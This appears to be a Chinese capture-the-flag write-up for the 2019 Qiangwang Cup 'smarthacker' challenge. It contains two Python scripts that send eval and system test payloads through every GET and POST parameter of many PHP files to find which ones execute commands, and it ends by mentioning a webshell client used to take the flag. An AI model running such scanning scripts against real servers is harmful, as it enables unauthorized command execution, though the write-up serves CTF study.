[2019 强网杯-smarthacker]

打开网址 下载源码

发现源码中有一堆命令执行的代码 有大部分执行不了

如$_GET['ganVMUq3d']先赋值

用脚本跑出能命令执行的php

对system() eval() assert()构造出相应的payload

assert()和eval()可以执行 eval("echo 'hello';");

system()可以执行 echo hello

其实可以不用给system() assert() eval()构造各自能执行的payload
因为这道题能回显报错信息

在kali下用 find 文件目录 -type f |xargs grep "查询内容" 匹配出php中用的传递参数的函数(REQUEST   POST   GET)
本题只用了   POST   GET

#过滤php
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor
import requests
import re

path = "E:/phpstudy_pro/WWW/src"

files = os.listdir(path)
# 互斥锁
mutex = threading.Lock()
# 进程数
pool = ThreadPoolExecutor(max_workers=50)


def read_file(file):
    f = open(path + "/" + file)
    text = f.read()
    f.close()
    # 过滤GET接收的变量
    GET = re.findall("_GET.'(.*?)']", text)
    # 过滤POST接收的变量
    POST = re.findall("_POST.'(.*?)']", text)
    # eval assert payload
    data1 = """eval("echo 'hello word';");"""
    # system payload
    data2 = "echo hello"
    aaa = "hello"
    x = {}
    y = {}
    a = {}
    b = {}
    for i in GET:
        a[i] = data1
        b[i] = data2
    for i in POST:
        x[i] = data1
        y[i] = data2
    # eval assert 测试
    r = requests.post(url="http://网址/" + file, data=x, params=a)
    # system 测试
    c = requests.post(url="http://网址/" + file, data=y, params=b)
    if aaa in r.text or aaa in c.text:
        mutex.acquire()
        print(file + " found!")
        mutex.release()


for file in files:  # 遍历文件夹
    pool.submit(read_file, file)

然后过滤出可命令执行的php中传递的有效变量

#过滤变量及传参方式
import re
import requests

path = "E:/phpstudy_pro/WWW/src"
file = "xk0SzyKwfzw.php"
f = open(path + "/" + file)
text = f.read()
f.close()
GET = re.findall("_GET.'(.*?)']", text)
POST = re.findall("_POST.'(.*?)']", text)
data1 = """eval("echo 'hello';");"""
data2 = "echo hello"
aaa = "hello"
for i in GET:
    a = {}
    b = {}
    a[i] = data1
    b[i] = data2
    r = requests.post(url="http://网址/" + file, params=a)
    c = requests.post(url="http://网址/" + file, params=b)
    if aaa in r.text or aaa in c.text:
        print(file + "\nGET\n" + i)
for i in POST:
    x = {}
    y = {}
    x[i] = data1
    y[i] = data2
    r = requests.post(url="http://网址/" + file, data=x)
    c = requests.post(url="http://网址/" + file, data=y)
    if aaa in r.text or aaa in c.text:
        print(file + "\nPOST\n" + i)

蚁剑连上或者手工命令执行梭哈flag